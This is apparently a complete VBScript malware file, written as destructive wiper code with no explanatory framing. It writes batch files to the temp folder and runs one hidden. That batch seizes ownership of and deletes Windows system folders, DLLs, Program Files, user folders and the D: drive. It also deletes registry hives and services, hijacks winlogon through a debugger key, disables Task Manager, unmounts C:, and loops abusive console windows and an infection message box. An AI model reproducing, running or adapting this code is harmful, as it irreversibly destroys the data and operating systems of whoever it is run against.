Set objShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempConfirmBat
tempConfirmBat = fso.GetSpecialFolder(2) & "\confirm_warning.bat"
Set batFile = fso.CreateTextFile(tempConfirmBat, True)
batFile.WriteLine "@echo off"
batFile.WriteLine "echo All registry entries will be deleted"
batFile.WriteLine "echo All system files"
batFile.WriteLine "echo All services"
batFile.WriteLine "timeout /t 2 /nobreak >nul"
batFile.WriteLine "taskkill /f /im explorer.exe && start explorer.exe"
batFile.Close
objShell.Run tempConfirmBat, 1, True
Dim fullDestroyBat
fullDestroyBat = fso.GetSpecialFolder(2) & "\full_destroy.bat"
Set fullBat = fso.CreateTextFile(fullDestroyBat, True)
fullBat.WriteLine "@echo off"
fullBat.WriteLine "chcp 437 >nul"
fullBat.WriteLine "echo Set WshShell = WScript.CreateObject(""WScript.Shell"") > color.vbs"
fullBat.WriteLine "echo Do >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 1a & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 2b & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 3c & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 4d & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 5e & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 6f & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 70 & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo WshShell.Run ""cmd /k title 肥嘟嘟 & color 0a & echo FUCKYOU & timeout /t 1 /nobreak ^>nul"", 1, False >> color.vbs"
fullBat.WriteLine "echo WScript.Sleep 1100 >> color.vbs"
fullBat.WriteLine "echo Loop >> color.vbs"
fullBat.WriteLine "start color.vbs"
fullBat.WriteLine "start color.vbs"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v sShortDate /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v sLongDate /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v sShortTime /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v sTimeFormat /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v sTime /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v s1159 /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKCU\Control Panel\International"" /v s2359 /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKU\.DEFAULT\Control Panel\International"" /v sShortDate /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKU\.DEFAULT\Control Panel\International"" /v sLongDate /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKU\.DEFAULT\Control Panel\International"" /v sShortTime /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKU\.DEFAULT\Control Panel\International"" /v sTimeFormat /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "reg add ""HKU\.DEFAULT\Control Panel\International"" /v sTime /t REG_SZ /d ""206%%24dA7"" /f"
fullBat.WriteLine "taskkill /f /im explorer.exe && start explorer.exe"
fullBat.WriteLine "md C:\trash 2>nul"
fullBat.WriteLine "takeown /f C:\Windows\System32 /r /d y"
fullBat.WriteLine "icacls C:\Windows\System32 /grant Everyone:F /t"
fullBat.WriteLine "takeown /f C:\Windows\SysWOW64 /r /d y"
fullBat.WriteLine "icacls C:\Windows\SysWOW64 /grant Everyone:F /t"
fullBat.WriteLine "takeown /f C:\Windows\Fonts /r /d y"
fullBat.WriteLine "icacls C:\Windows\Fonts /grant Everyone:F /t"
fullBat.WriteLine "takeown /f C:\Windows\Resources /r /d y"
fullBat.WriteLine "icacls C:\Windows\Resources /grant Everyone:F /t"
fullBat.WriteLine "takeown /f C:\Windows\System32\drivers /r /d y"
fullBat.WriteLine "icacls C:\Windows\System32\drivers /grant Everyone:F /t"
fullBat.WriteLine "takeown /f ""%USERPROFILE%\Desktop"" /r /d y"
fullBat.WriteLine "icacls ""%USERPROFILE%\Desktop"" /grant Everyone:F /t"
fullBat.WriteLine "takeown /f ""C:\Program Files (x86)\Microsoft\Edge\Application"" /r /d y"
fullBat.WriteLine "icacls ""C:\Program Files (x86)\Microsoft\Edge\Application"" /grant Everyone:F /t"
fullBat.WriteLine "takeown /f ""C:\Program Files (x86)\Microsoft\EdgeCore"" /r /d y"
fullBat.WriteLine "icacls ""C:\Program Files (x86)\Microsoft\EdgeCore"" /grant Everyone:F /t"
fullBat.WriteLine "takeown /f ""C:\Program Files (x86)\Microsoft\EdgeWebView"" /r /d y"
fullBat.WriteLine "icacls ""C:\Program Files (x86)\Microsoft\EdgeWebView"" /grant Everyone:F /t"
fullBat.WriteLine "cd /d ""C:\Program Files (x86)\Microsoft\Edge\Application"" "
fullBat.WriteLine "for /r %%f in (*.exe,*.dll,*.dat,*.bin) do ren ""%%f"" ""%%~nf.vbs"" "
fullBat.WriteLine "cd /d ""C:\Program Files (x86)\Microsoft\EdgeCore"" "
fullBat.WriteLine "for /r %%f in (*.exe,*.dll,*.dat,*.bin) do ren ""%%f"" ""%%~nf.vbs"" "
fullBat.WriteLine "cd /d ""C:\Program Files (x86)\Microsoft\EdgeWebView"" "
fullBat.WriteLine "for /r %%f in (*.exe,*.dll,*.dat,*.bin) do ren ""%%f"" ""%%~nf.vbs"" "
fullBat.WriteLine "cd /d ""C:\Program Files (x86)\Microsoft"" "
fullBat.WriteLine "for /r %%x in (*.vbs) do start """" wscript ""%%x"" "
fullBat.WriteLine "del /f /s /q C:\Windows\System32\*"
fullBat.WriteLine "del /f /s /q C:\Windows\SysWOW64\*"
fullBat.WriteLine "del /f /s /q C:\Windows\Fonts\*"
fullBat.WriteLine "del /f /s /q C:\Windows\Resources\*"
fullBat.WriteLine "del /f /s /q C:\Windows\Media\*"
fullBat.WriteLine "del /f /s /q C:\Windows\Help\*"
fullBat.WriteLine "del /f /s /q C:\Windows\Logs\*"
fullBat.WriteLine "del /f /s /q C:\Windows\INF\*"
fullBat.WriteLine "del /f /s /q C:\Windows\IME\*"
fullBat.WriteLine "del /f /s /q C:\Windows\OCR\*"
fullBat.WriteLine "rd /s /q ""%USERPROFILE%\Desktop"" 2>nul"
fullBat.WriteLine "rd /s /q ""%USERPROFILE%\Documents"" 2>nul"
fullBat.WriteLine "rd /s /q ""%USERPROFILE%\Pictures"" 2>nul"
fullBat.WriteLine "rd /s /q ""%USERPROFILE%\Downloads"" 2>nul"
fullBat.WriteLine "rd /s /q C:\Program Files 2>nul"
fullBat.WriteLine "rd /s /q C:\Program Files (x86) 2>nul"
fullBat.WriteLine "rd /s /q C:\Windows\Prefetch 2>nul"
fullBat.WriteLine "rd /s /q C:\Windows\Temp 2>nul"
fullBat.WriteLine "rd /s /q C:\Windows\SoftwareDistribution 2>nul"
fullBat.WriteLine "rd /s /q C:\Windows\Boot 2>nul"
fullBat.WriteLine "rd /s /q C:\Windows\Recovery 2>nul"
fullBat.WriteLine "rd /s /q C:\Users\* 2>nul"
fullBat.WriteLine "setlocal enabledelayedexpansion"
fullBat.WriteLine "for %%a in (themes spooler wuauserv winmgmt cryptsvc dhcp dnscache lanmanserver lmhosts audioaudiodrv fontcache browser msedgeupdate ndproxy nla) do ("
fullBat.WriteLine "sc stop %%a 2>nul"
fullBat.WriteLine "sc delete %%a 2>nul"
fullBat.WriteLine ")"
fullBat.WriteLine "endlocal"
fullBat.WriteLine "reg delete HKCR /f 2>nul"
fullBat.WriteLine "reg delete HKLM\SOFTWARE /f 2>nul"
fullBat.WriteLine "reg delete HKLM\SYSTEM /f 2>nul"
fullBat.WriteLine "reg delete HKCU /f 2>nul"
fullBat.WriteLine "reg delete HKU /f 2>nul"
fullBat.WriteLine "reg delete HKCU\Control Panel /f 2>nul"
fullBat.WriteLine "reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe"" /v Debugger /t REG_SZ /d ""C:\Windows\System32\cmd.exe"" /f"
fullBat.WriteLine "reg add ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe"" /v Debugger /t REG_SZ /d ""C:\Windows\System32\cmd.exe"" /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v EnableLUA /t REG_DWORD /d 1 /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe"" /v RequestedExecutionLevel /t REG_SZ /d ""requireAdministrator"" /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe"" /v RequestedExecutionLevel /t REG_SZ /d ""requireAdministrator"" /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"" /v RequestedExecutionLevel /t REG_SZ /d ""requireAdministrator"" /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winver.exe"" /v RequestedExecutionLevel /t REG_SZ /d ""requireAdministrator"" /f"
fullBat.WriteLine "reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe"" /v RequestedExecutionLevel /t REG_SZ /d ""requireAdministrator"" /f"
fullBat.WriteLine "start /wait ""DLL全部清除"" cmd /c ("
fullBat.WriteLine "del /f /s /q C:\*.dll"
fullBat.WriteLine "del /f /s /q C:\Windows\*.dll"
fullBat.WriteLine "del /f /s /q C:\Windows\System32\*.dll"
fullBat.WriteLine "del /f /s /q C:\Windows\SysWOW64\*.dll"
fullBat.WriteLine "del /f /s /q C:\Program Files\*.dll"
fullBat.WriteLine "del /f /s /q C:\Program Files (x86)\*.dll"
fullBat.WriteLine ")"
fullBat.WriteLine "start /wait ""批量启动程序触发缺失DLL报错"" cmd /c ("
fullBat.WriteLine "start calc.exe"
fullBat.WriteLine "start mspaint.exe"
fullBat.WriteLine "start notepad.exe"
fullBat.WriteLine "start explorer.exe"
fullBat.WriteLine "start taskmgr.exe"
fullBat.WriteLine "start control.exe"
fullBat.WriteLine "start winver.exe"
fullBat.WriteLine "start charmap.exe"
fullBat.WriteLine "start osk.exe"
fullBat.WriteLine "start regedit.exe"
fullBat.WriteLine "start mmc.exe"
fullBat.WriteLine "start devmgmt.msc"
fullBat.WriteLine "start compmgmt.msc"
fullBat.WriteLine "start diskmgmt.msc"
fullBat.WriteLine "start services.msc"
fullBat.WriteLine "start eventvwr.msc"
fullBat.WriteLine ")"
fullBat.WriteLine "start cmd /c rd /s /q C:\Windows"
fullBat.WriteLine "start cmd /c rd /s /q C:\ProgramData"
fullBat.WriteLine "start cmd /c rd /s /q D:\"
fullBat.WriteLine "taskkill /f /fi ""pid ne 1"" 2>nul"
fullBat.WriteLine "mountvol c: /d"
fullBat.Close
objShell.Run fullDestroyBat, 0
Do
    MsgBox "Your computer has been infected with a destructive Malware!", vbOKOnly + vbExclamation, "肥嘟嘟"
Loop